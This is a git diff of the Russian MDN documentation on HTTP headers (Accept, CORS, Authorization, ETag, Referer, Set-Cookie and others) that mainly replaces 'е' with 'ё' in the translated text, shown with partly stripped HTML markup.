            HTTP заголовок запроса Accept указывает, какие типы контента, выраженные как MIME типы, клиент может понять. Используя согласование контента, сервер затем выбирает одно из предложений, использует его и информирует клиента о своём выборе с помощью заголовка ответа {{HTTPHeader ("Content-Type")}}. Браузеры задают адекватные значения для этого заголовка в зависимости от контекста, в котором выполняется запрос: при получении таблицы стилей CSS для запроса задаётся другое значение, чем при получении изображения, видео или скрипта.

            {{Glossary("Response header", "Заголовок ответа")}}
            {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} да
            @@ -19,7 +19,7 @@ original_slug: Web/HTTP/Заголовки/Accept - + diff --git a/files/ru/web/http/headers/access-control-allow-headers/index.html b/files/ru/web/http/headers/access-control-allow-headers/index.html index d405260c68..bc9e7641c2 100644 --- a/files/ru/web/http/headers/access-control-allow-headers/index.html +++ b/files/ru/web/http/headers/access-control-allow-headers/index.html @@ -39,7 +39,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers
            <header-name>
            -
            Список поддерживаемых заголовков разделенных запятыми.
            +
            Список поддерживаемых заголовков разделённых запятыми.

            Пример

            @@ -74,7 +74,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Headers

            Заметки по совместимости

              -
            • Подстановочное значение (*), указанное в последней спецификации, еще не реализовано в браузерах: +
            • Подстановочное значение (*), указанное в последней спецификации, ещё не реализовано в браузерах:
              • Chromium: Issue 615313
              • Firefox: {{bug(1309358)}}
              • diff --git a/files/ru/web/http/headers/access-control-allow-methods/index.html b/files/ru/web/http/headers/access-control-allow-methods/index.html index 788d616348..1f6b997095 100644 --- a/files/ru/web/http/headers/access-control-allow-methods/index.html +++ b/files/ru/web/http/headers/access-control-allow-methods/index.html @@ -34,7 +34,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods
                <method>
                -
                Разделенный запятыми список доступных методов HTTP запросов.
                +
                Разделённый запятыми список доступных методов HTTP запросов.

                Примеры

                @@ -67,7 +67,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Allow-Methods

                Замечания по совместимости

                  -
                • Подстановочное значение (*), которое упоминается в последней спецификации еще не реализовано в браузерах: +
                • Подстановочное значение (*), которое упоминается в последней спецификации ещё не реализовано в браузерах:
                  • Chromium: Issue 615313
                  • Firefox: {{bug(1309358)}}
                  • diff --git a/files/ru/web/http/headers/access-control-allow-origin/index.html b/files/ru/web/http/headers/access-control-allow-origin/index.html index 402d34c996..a8c83a5fb6 100644 --- a/files/ru/web/http/headers/access-control-allow-origin/index.html +++ b/files/ru/web/http/headers/access-control-allow-origin/index.html @@ -32,7 +32,7 @@ Access-Control-Allow-Origin: null
                    *
                    -
                    Для запросов без учетных данных. Значение "*" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учетными данными приведет к ошибке.
                    +
                    Для запросов без учётных данных. Значение "*" может быть использован как шаблон; значение указывает браузеру разрешить запросы из любых источников. Попытка использовать шаблон с учётными данными приведёт к ошибке.
                    <origin>
                    Указывает источник. Может быть указан только один источник.
                    null
                    @@ -51,7 +51,7 @@ Access-Control-Allow-Origin: null
                    Access-Control-Allow-Origin: https://developer.mozilla.org
                    -

                    Чтобы ограничить Access-Control-Allow-Origin разрешенным набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешенным списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение Access-Control-Allow-Origin, равное значению {{HTTPHeader("Origin")}}.

                    +

                    Чтобы ограничить Access-Control-Allow-Origin разрешённым набором значений, необходимо реализовать логику на стороне сервера для проверки значения заголовка {{HTTPHeader("Origin")}} запроса, сравнить его с разрешённым списком источников, а затем, если значение {{HTTPHeader("Origin")}} присутствует в списке, задать значение Access-Control-Allow-Origin, равное значению {{HTTPHeader("Origin")}}.

                    CORS и кэширование

                    diff --git a/files/ru/web/http/headers/access-control-max-age/index.html b/files/ru/web/http/headers/access-control-max-age/index.html index b889deae0f..2653520439 100644 --- a/files/ru/web/http/headers/access-control-max-age/index.html +++ b/files/ru/web/http/headers/access-control-max-age/index.html @@ -13,7 +13,7 @@ original_slug: Web/HTTP/Заголовки/Access-Control-Max-Age
            - + diff --git a/files/ru/web/http/headers/authorization/index.html b/files/ru/web/http/headers/authorization/index.html index 462f6f0c57..71566867b0 100644 --- a/files/ru/web/http/headers/authorization/index.html +++ b/files/ru/web/http/headers/authorization/index.html @@ -20,7 +20,7 @@ original_slug: Web/HTTP/Заголовки/Authorization - + @@ -43,12 +43,12 @@ original_slug: Web/HTTP/Заголовки/Authorization
            <данные пользователя>
            Если используется схема авторизации «Базовая», данные пользователя формируются следующим образом:
              -
            • Логин и пароль, разделенные двоеточием (aladdin:opensesame).
            • +
            • Логин и пароль, разделённые двоеточием (aladdin:opensesame).
            • Результирующая строка, закодированная в base64 (YWxhZGRpbjpvcGVuc2VzYW1l).
            -

            Примечание: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учетных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.

            +

            Примечание: Кодировка Base64 не означает шифрование или хэширование! Этот метод так же небезопасен, как и отправка учётных данных в открытом виде (base64 является обратимой кодировкой). Отдавайте предпочтение использованию HTTPS в сочетании с Базовой Авторизацией.

            diff --git a/files/ru/web/http/headers/cache-control/index.html b/files/ru/web/http/headers/cache-control/index.html index 4d1165c324..70acce7e01 100644 --- a/files/ru/web/http/headers/cache-control/index.html +++ b/files/ru/web/http/headers/cache-control/index.html @@ -87,7 +87,7 @@ Cache-Control: stale-if-error=<seconds>
            max-age=<seconds>
            -
            Задает максимальное время в течение которого ресурс будет считаться актуальным. В отличие от Expires, данная инструкция является относительной по отношению ко времени запроса.
            +
            Задаёт максимальное время в течение которого ресурс будет считаться актуальным. В отличие от Expires, данная инструкция является относительной по отношению ко времени запроса.
            s-maxage=<seconds>
            Переопределяет max-age или заголовок Expires, но применяется только для разделяемых кэшей (например, прокси) и игнорируется частными кэшами.
            max-stale[=<seconds>]
            diff --git a/files/ru/web/http/headers/connection/index.html b/files/ru/web/http/headers/connection/index.html index 1470326d45..a68e883264 100644 --- a/files/ru/web/http/headers/connection/index.html +++ b/files/ru/web/http/headers/connection/index.html @@ -11,7 +11,7 @@ original_slug: Web/HTTP/Заголовки/Connection ---
            {{HTTPSidebar}}
            -

            Заголовок Connection определяет, остается ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение keep-alive, то соединение остается и не завершается, позволяя выполнять последующие запросы на тот же сервер.

            +

            Заголовок Connection определяет, остаётся ли сетевое соединение активным после завершения текущей транзакции (запроса). Если в запросе отправлено значение keep-alive, то соединение остаётся и не завершается, позволяя выполнять последующие запросы на тот же сервер.

            Заголовки, связанные с соединением, такие как {{HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, запрещены в HTTP/2. Chrome и Firefox просто игнорируют эти заголовки в HTTP/2 ответах, однако Safari, следуя требованиям HTTP/2, вообще не будет загружать какие-либо ответы, которые содержат данные заголовки.

            @@ -26,7 +26,7 @@ original_slug: Web/HTTP/Заголовки/Connection
            - + diff --git a/files/ru/web/http/headers/content-disposition/index.html b/files/ru/web/http/headers/content-disposition/index.html index 144fb4b808..70ad08a53a 100644 --- a/files/ru/web/http/headers/content-disposition/index.html +++ b/files/ru/web/http/headers/content-disposition/index.html @@ -36,7 +36,7 @@ original_slug: Web/HTTP/Заголовки/Content-Disposition

            Как заголовок ответа с обычным телом

            -

            Первым параметром в контексте HTTP должен быть или inline (это значение по умолчанию, указывающее, что контент должен быть отображен внутри веб-страницы или как веб-страница) или attachment (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра filename, если он задан).

            +

            Первым параметром в контексте HTTP должен быть или inline (это значение по умолчанию, указывающее, что контент должен быть отображён внутри веб-страницы или как веб-страница) или attachment (указывает на скачиваемый контент; большинство браузеров отображают диалог "Сохранить как" с заранее заполненным именем файла из параметра filename, если он задан).

            Content-Disposition: inline
             Content-Disposition: attachment
            diff --git a/files/ru/web/http/headers/content-encoding/index.html b/files/ru/web/http/headers/content-encoding/index.html
            index 47c1db50a5..2584223a02 100644
            --- a/files/ru/web/http/headers/content-encoding/index.html
            +++ b/files/ru/web/http/headers/content-encoding/index.html
            @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/Content-Encoding
             ---
             
            {{HTTPSidebar}}
            -

            Content-Encoding - это сущность заголовка, используемая для сжатия медиа-типа. При наличии ее значение определяет кодировку, примененную к сущности body. Это позволяет клиенту информацию как декодировать body, чтобы получить медиа-тип ссылающийся на  заголовок Content-Type 

            +

            Content-Encoding - это сущность заголовка, используемая для сжатия медиа-типа. При наличии её значение определяет кодировку, применённую к сущности body. Это позволяет клиенту информацию как декодировать body, чтобы получить медиа-тип ссылающийся на  заголовок Content-Type 

            Рекомендация - сжимать данные насколько это возможно и следовательно использовать это поле, но некоторые типы данных, такие как изображения в формате jpeg, уже сжаты. Иногда, использование дополнительного сжатия не уменьшает размер пакета и даже может сделать загрузку дольше.

            diff --git a/files/ru/web/http/headers/content-language/index.html b/files/ru/web/http/headers/content-language/index.html index bf273885a3..04d7618e57 100644 --- a/files/ru/web/http/headers/content-language/index.html +++ b/files/ru/web/http/headers/content-language/index.html @@ -46,7 +46,7 @@ Content-Language: de-DE, en-CA
            language-tag
            -
            Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учета регистра, разделенных символом дефиса ("-", %x2D).
            +
            Несколько языковых тегов разделяются запятыми. Каждый языковой тег представляет собой последовательность из одного или нескольких подтегов без учёта регистра, разделённых символом дефиса ("-", %x2D).
            В большинстве случаев языковой тег состоит из подтега основного языка, который идентифицирует широкое семейство родственных языков (например, "en" = English), за которым дополнительно следует ряд подтегов, уточняющих или сужающих диапазон этого языка (например, "en-CA" = вариант диалекта английского языка, использующегося в Канаде).
            diff --git a/files/ru/web/http/headers/date/index.html b/files/ru/web/http/headers/date/index.html index 164663440a..c9bb0be9d6 100644 --- a/files/ru/web/http/headers/date/index.html +++ b/files/ru/web/http/headers/date/index.html @@ -20,7 +20,7 @@ original_slug: Web/HTTP/Заголовки/Date
            - + @@ -37,17 +37,17 @@ original_slug: Web/HTTP/Заголовки/Date
            <day-name>
            Одно из "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (регистрозависимое значение).
            <day>
            -
            Номер дня с ведущим нулем, например "04" или "23".
            +
            Номер дня с ведущим нулём, например "04" или "23".
            <month>
            Один из "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (регистрозависимое значение).
            <year>
            Год из 4-х символов, например "1990" или "2016".
            <hour>
            -
            Часы с ведущим нулем, например "09" или "23".
            +
            Часы с ведущим нулём, например "09" или "23".
            <minute>
            -
            Минуты с ведущим нулем, например "04" или "59".
            +
            Минуты с ведущим нулём, например "04" или "59".
            <second>
            -
            Секунды с ведущим нулем, например "04" или "59".
            +
            Секунды с ведущим нулём, например "04" или "59".
            GMT

            Время по Гринвичу. HTTP даты всегда представлены в GMT, а не в локальном времени

            diff --git a/files/ru/web/http/headers/etag/index.html b/files/ru/web/http/headers/etag/index.html index 4d5e8ae282..7f8b3a6ce7 100644 --- a/files/ru/web/http/headers/etag/index.html +++ b/files/ru/web/http/headers/etag/index.html @@ -17,7 +17,7 @@ original_slug: Web/HTTP/Заголовки/ETag
            - + @@ -35,7 +35,7 @@ ETag: "<etag_value>"
            W/ {{optional_inline}}
            'W/' (чувствителен к регистру) указывает, что используется слабый валидатор. Слабые валидаторы легко сгенерировать, но они намного реже используются для сравнения. Сильные валидаторы идеальны для сравнения, но их может быть очень сложно сгенерировать эффективно. Слабое значение Etag двух представлений одного и того же ресурса может быть семантически одинаково, но не байт-в-байт.
            "<etag_value>"
            -
            Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключенная в двойные кавычки (например, "675af34563dc-tr34"). Метод, по которому генерируются значения ETag, не определен. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатеричных хэш wiki-содержимого.
            +
            Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключённая в двойные кавычки (например, "675af34563dc-tr34"). Метод, по которому генерируются значения ETag, не определён. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатеричных хэш wiki-содержимого.

            Примеры

            @@ -63,7 +63,7 @@ ETag: W/"0815"
            If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"
            -

            После чего сервер сравнит клиентский ETag (отправленный с помощью If-None-Match) с ETag для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернет статус {{HTTPStatus("304")}} Not Modified, без тела ответа. Такой ответ сервера сообщает клиенту, что закешированная версия ресурса актуальна и готова к использованию.

            +

            После чего сервер сравнит клиентский ETag (отправленный с помощью If-None-Match) с ETag для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернёт статус {{HTTPStatus("304")}} Not Modified, без тела ответа. Такой ответ сервера сообщает клиенту, что закешированная версия ресурса актуальна и готова к использованию.

            Спецификации

            diff --git a/files/ru/web/http/headers/expect/index.html b/files/ru/web/http/headers/expect/index.html index f6182f09c7..5e4e355851 100644 --- a/files/ru/web/http/headers/expect/index.html +++ b/files/ru/web/http/headers/expect/index.html @@ -8,7 +8,7 @@ original_slug: Web/HTTP/Заголовки/Expect

            Запрос "HTTP Expect" указывает ожидания, которые должен выполнить сервер, чтобы правильно обработать запрос.

            -

            Единственным ожиданием, определенным в спецификации, является "Expect: 100-continue", на который сервер должен ответить:

            +

            Единственным ожиданием, определённым в спецификации, является "Expect: 100-continue", на который сервер должен ответить:

            • {{HTTPStatus("100")}} если информации, содержащейся в заголовке, достаточно, чтобы вызвать немедленный успех,
            • diff --git a/files/ru/web/http/headers/expires/index.html b/files/ru/web/http/headers/expires/index.html index f388db7437..b5b0c6cf1b 100644 --- a/files/ru/web/http/headers/expires/index.html +++ b/files/ru/web/http/headers/expires/index.html @@ -24,7 +24,7 @@ original_slug: Web/HTTP/Заголовки/Expires
            - + diff --git a/files/ru/web/http/headers/if-match/index.html b/files/ru/web/http/headers/if-match/index.html index 1f46b5bbb1..d6ec7f0b9a 100644 --- a/files/ru/web/http/headers/if-match/index.html +++ b/files/ru/web/http/headers/if-match/index.html @@ -10,7 +10,7 @@ original_slug: Web/HTTP/Заголовки/If-Match

            Сравнение с хранимым {{HTTPHeader("ETag")}} использует сильный алгоритм сравнения, то есть два файла считаются одинаковыми байтами только байтом. Это ослабляется, когда префикс W/используется перед ETag.

            -

            Существует два распространенных варианта использования:

            +

            Существует два распространённых варианта использования:

            • Для методов {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}}, используемых в сочетании с {{HTTPHeader("Range")}}, он может гарантировать, что запрашиваемые новые диапазоны с того же ресурса, что и предыдущий. Если он не соответствует, то возвращается ответ {{HTTPStatus("416")}} (Range Not Satisfiable).
            • @@ -40,9 +40,9 @@ If-Match: <etag_value>, <etag_value>, …
              <etag_value>
              -
              Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещенных между двойными кавычками (например, "675af34563dc-tr34") и могут быть префиксами W/, чтобы указать, что следует использовать слабый алгоритм сравнения.
              +
              Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещённых между двойными кавычками (например, "675af34563dc-tr34") и могут быть префиксами W/, чтобы указать, что следует использовать слабый алгоритм сравнения.
              *
              -
              Звездочка представляет собой специальное значение, представляющее любой ресурс.
              +
              Звёздочка представляет собой специальное значение, представляющее любой ресурс.

              Примеры

              diff --git a/files/ru/web/http/headers/if-modified-since/index.html b/files/ru/web/http/headers/if-modified-since/index.html index 5b6563036e..8adad2f7cc 100644 --- a/files/ru/web/http/headers/if-modified-since/index.html +++ b/files/ru/web/http/headers/if-modified-since/index.html @@ -11,11 +11,11 @@ original_slug: Web/HTTP/Заголовки/If-Modified-Since ---
              {{HTTPSidebar}}
              -

              Заголовок HTTP запроса If-Modified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменен после указанной даты. Если запрос не был изменен после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, If-Modified-Since может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.

              +

              Заголовок HTTP запроса If-Modified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменён после указанной даты. Если запрос не был изменён после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, If-Modified-Since может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.

              При использовании в сочетании с {{HTTPHeader("If-None-Match")}} заголовок If-Modified-Since игнорируется, кроме тех случаев, когда сервер не поддерживает If-None-Match.

              -

              Наиболее распространенным вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.

              +

              Наиболее распространённым вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.

            {{Glossary("Request header")}}
            {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} нет
            {{Glossary("Заголовок ответа")}}
            {{Glossary("Запрещенное имя заголовка")}}{{Glossary("Запрещённое имя заголовка")}} нет
            {{Glossary("Request header")}}
            {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} Нет
            {{Glossary("General header", "Общий заголовок")}}
            {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} да
            {{Glossary("Основной")}}
            {{Glossary("Запрещенное имя заголовка")}}{{Glossary("Запрещённое имя заголовка")}} да
            {{Glossary("Заголовок ответа")}}
            {{Glossary("Запрещенное имя заголовка")}}{{Glossary("Запрещённое имя заголовка")}} нет
            {{Glossary("Response header")}}
            {{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}{{Glossary("Forbidden header name", "Запрещённое имя заголовка")}} нет
            diff --git a/files/ru/web/http/headers/if-unmodified-since/index.html b/files/ru/web/http/headers/if-unmodified-since/index.html index 93a843facc..a9b70ee934 100644 --- a/files/ru/web/http/headers/if-unmodified-since/index.html +++ b/files/ru/web/http/headers/if-unmodified-since/index.html @@ -12,12 +12,12 @@ original_slug: Web/HTTP/Заголовки/If-Unmodified-Since

            {{HTTPSidebar}}

            -

            HTTP-заголовок запроса If-Unmodified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменен после указанной даты. Если запрос был изменен после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.

            +

            HTTP-заголовок запроса If-Unmodified-Since делает запрос условным: сервер отправит обратно запрошенный ресурс или примет его в случае {{HTTPMethod("POST")}} или другого {{Glossary("safe", "небезопасного")}} метода, только если он не был последним изменён после указанной даты. Если запрос был изменён после указанной даты, то ответ будет {{HTTPStatus("412")}} (Precondition Failed) ошибка.

            -

            Существует два распространенных варианта использования:

            +

            Существует два распространённых варианта использования:

              -
            • В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации optimistic concurrency control, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохраненный документ был изменен с момента восстановления оригинала.
            • +
            • В сочетании с другими {{Glossary("safe", "небезопасными")}} методами, такими как {{HTTPMethod("POST")}}, он может использоваться для реализации optimistic concurrency control, например, сделанного некоторыми вики-версиями: выпуски отклоняются, если сохранённый документ был изменён с момента восстановления оригинала.
            diff --git a/files/ru/web/http/headers/index.html b/files/ru/web/http/headers/index.html index ddb86dab64..7c1de3ac7b 100644 --- a/files/ru/web/http/headers/index.html +++ b/files/ru/web/http/headers/index.html @@ -52,11 +52,11 @@ original_slug: Web/HTTP/Заголовки {{HTTPHeader("WWW-Authenticate")}}
            Определяет метод аутентификации, который должен использоваться для доступа к ресурсу.
            {{HTTPHeader ( "Authorization")}}
            - Содержит учетные данные для аутентификации агента пользователя на сервере.
            + Содержит учётные данные для аутентификации агента пользователя на сервере.
            {{HTTPHeader ( "Proxy-Authenticate")}}
            Определяет метод аутентификации, который должен использоваться для доступа к ресурсам на прокси-сервере.
            {{HTTPHeader ( "Proxy-Authorization")}}
            - Содержит учетные данные для аутентификации агента пользователя с прокси-сервером.

            + Содержит учётные данные для аутентификации агента пользователя с прокси-сервером.

            Ниже перечислены основные HTTP заголовки с кратким описанием:

            @@ -192,7 +192,7 @@ original_slug: Web/HTTP/Заголовки
            - + diff --git a/files/ru/web/http/headers/last-modified/index.html b/files/ru/web/http/headers/last-modified/index.html index 2c7518129c..05b7486ea6 100644 --- a/files/ru/web/http/headers/last-modified/index.html +++ b/files/ru/web/http/headers/last-modified/index.html @@ -11,7 +11,7 @@ original_slug: Web/HTTP/Заголовки/Last-Modified ---
            {{HTTPSidebar}}
            -

            Заголовок Last-Modified в ответе HTTP содержит дату и время, в которую, по мнению удаленного сервера, запрашиваемый ресурс был изменен. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надежный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.

            +

            Заголовок Last-Modified в ответе HTTP содержит дату и время, в которую, по мнению удалённого сервера, запрашиваемый ресурс был изменён. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надёжный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.

            ConnectionОпределяет, остается ли сетевое соединение открытым после завершения текущей транзакции (запроса).Определяет, остаётся ли сетевое соединение открытым после завершения текущей транзакции (запроса).
            diff --git a/files/ru/web/http/headers/pragma/index.html b/files/ru/web/http/headers/pragma/index.html index 5ee1b0060f..3e6b8a9057 100644 --- a/files/ru/web/http/headers/pragma/index.html +++ b/files/ru/web/http/headers/pragma/index.html @@ -9,10 +9,10 @@ original_slug: Web/HTTP/Заголовки/Pragma ---
            {{HTTPSidebar}}
            -

            Общий заголовок Pragma HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок Cache-Control HTTP / 1.1 еще не присутствует.

            +

            Общий заголовок Pragma HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок Cache-Control HTTP / 1.1 ещё не присутствует.

            -

            Примечание: Pragma не указана для ответов HTTP и поэтому не является надежной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведет себя так же, как Cache-Control: no-cache, если поле заголовка управления кэшем опущено в запросе. Используйте Pragma только для обратной совместимости с клиентами HTTP / 1.0.

            +

            Примечание: Pragma не указана для ответов HTTP и поэтому не является надёжной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведёт себя так же, как Cache-Control: no-cache, если поле заголовка управления кэшем опущено в запросе. Используйте Pragma только для обратной совместимости с клиентами HTTP / 1.0.

            @@ -67,7 +67,7 @@ original_slug: Web/HTTP/Заголовки/Pragma

            Совместимость браузера

            - +

            {{Compat("http.headers.Pragma")}}

            diff --git a/files/ru/web/http/headers/referer/index.html b/files/ru/web/http/headers/referer/index.html index f227769466..d80a71b11a 100644 --- a/files/ru/web/http/headers/referer/index.html +++ b/files/ru/web/http/headers/referer/index.html @@ -10,14 +10,14 @@ original_slug: Web/HTTP/Заголовки/Referer ---
            {{HTTPSidebar}}
            -

            Заголовок запроса Referer содержит URL исходной страницы, с которой был осуществлен переход на текущую страницу. Заголовок Referer позволяет серверу узнать откуда был осуществлен переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.

            +

            Заголовок запроса Referer содержит URL исходной страницы, с которой был осуществлён переход на текущую страницу. Заголовок Referer позволяет серверу узнать откуда был осуществлён переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.

            Обратите внимание, что слово «Referer» на самом деле является неправильным написанием слова «Referrer». См. {{interwiki("wikipedia", "HTTP_referer", "HTTP referer на Wikipedia")}} .

            -

            Заголовок Referer может раскрыть информацию пользователя об истории посещенных страниц, что может привести к нарушению приватности.

            +

            Заголовок Referer может раскрыть информацию пользователя об истории посещённых страниц, что может привести к нарушению приватности.

            -

            Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряженных с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.

            +

            Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряжённых с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.

            К примеру, по умолчанию URL страницы сброса пароля будет попадать на хосты, размещающие контент на странице, и хосты ссылок, нажатых на этой странице. В обоих случаях сторонний хост получит Referer пользователя.

            @@ -32,7 +32,7 @@ original_slug: Web/HTTP/Заголовки/Referer
            • исходный ресурс -- локальный "файл" или "data" URI,
            • -
            • используется незащищенный HTTP-запрос, а исходная страница была получена с защищенным протоколом (HTTPS).
            • +
            • используется незащищённый HTTP-запрос, а исходная страница была получена с защищённым протоколом (HTTPS).
            @@ -57,7 +57,7 @@ original_slug: Web/HTTP/Заголовки/Referer
            <url>
            -
            Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлен переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.
            +
            Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлён переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.

            Пример

            diff --git a/files/ru/web/http/headers/retry-after/index.html b/files/ru/web/http/headers/retry-after/index.html index 75b793195e..6161a8dbee 100644 --- a/files/ru/web/http/headers/retry-after/index.html +++ b/files/ru/web/http/headers/retry-after/index.html @@ -42,7 +42,7 @@ Retry-After: <delay-seconds>
            <http-date>
            -
            Дата, после которой пытаться еще раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.
            +
            Дата, после которой пытаться ещё раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.
            <delay-seconds>
            Неотрицательное число секунд, показывающее время ожидания перед новым запросом.
            @@ -51,7 +51,7 @@ Retry-After: <delay-seconds>

            Работа с запланированным временем простоя

            -

            Поддержка Retry-After реализована еще не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок Retry-After. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя

            +

            Поддержка Retry-After реализована ещё не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок Retry-After. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя

            Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
             Retry-After: 120
            diff --git a/files/ru/web/http/headers/set-cookie/index.html b/files/ru/web/http/headers/set-cookie/index.html
            index 1898f6cf56..90c65266d9 100644
            --- a/files/ru/web/http/headers/set-cookie/index.html
            +++ b/files/ru/web/http/headers/set-cookie/index.html
            @@ -63,14 +63,14 @@ Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
              
            Cookie начинается с пары имя-значение:
            • <cookie-name> может содержать любые символы US-ASCII, за исключением управляющих символов (CTLs), пробелов, или табуляций. Оно также не должно содержать разделительных символов, таких как следующие: ( ) < > @ , ; : \ " /  [ ] ? = { }.
            • -
            • <cookie-value> может быть опционально заключено в двойные кавычки,   разрешены любые символы US-ASCII за исключением CTLs, пробела, двойных кавычек, запятой, точки с запятой, и обратного слеша. Кодирование: Многие реализации выполняют кодирование в значениях cookies, однако этого не требуется по спецификации RFC.  Однако, это помогает удовлетворить требование о разрешенных символах в <cookie-value>.
            • -
            • __Secure- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с   __Secure- (подчеркивание является частью префикса ) должны быть установлены вместе с флагом secure, и должны быть с безопасной страницы (HTTPS).
            • -
            • __Host- prefix {{non-standard_inline}}: Cookies с именем, начинающимся с __Host- должны быть установлены с флагом secure secure, должны быть с безопасной страницы (HTTPS),  не должны иметь определенный домен (и, следовательно, не не посылаются поддоменами), а также параметр Path должен быть "/".
            • +
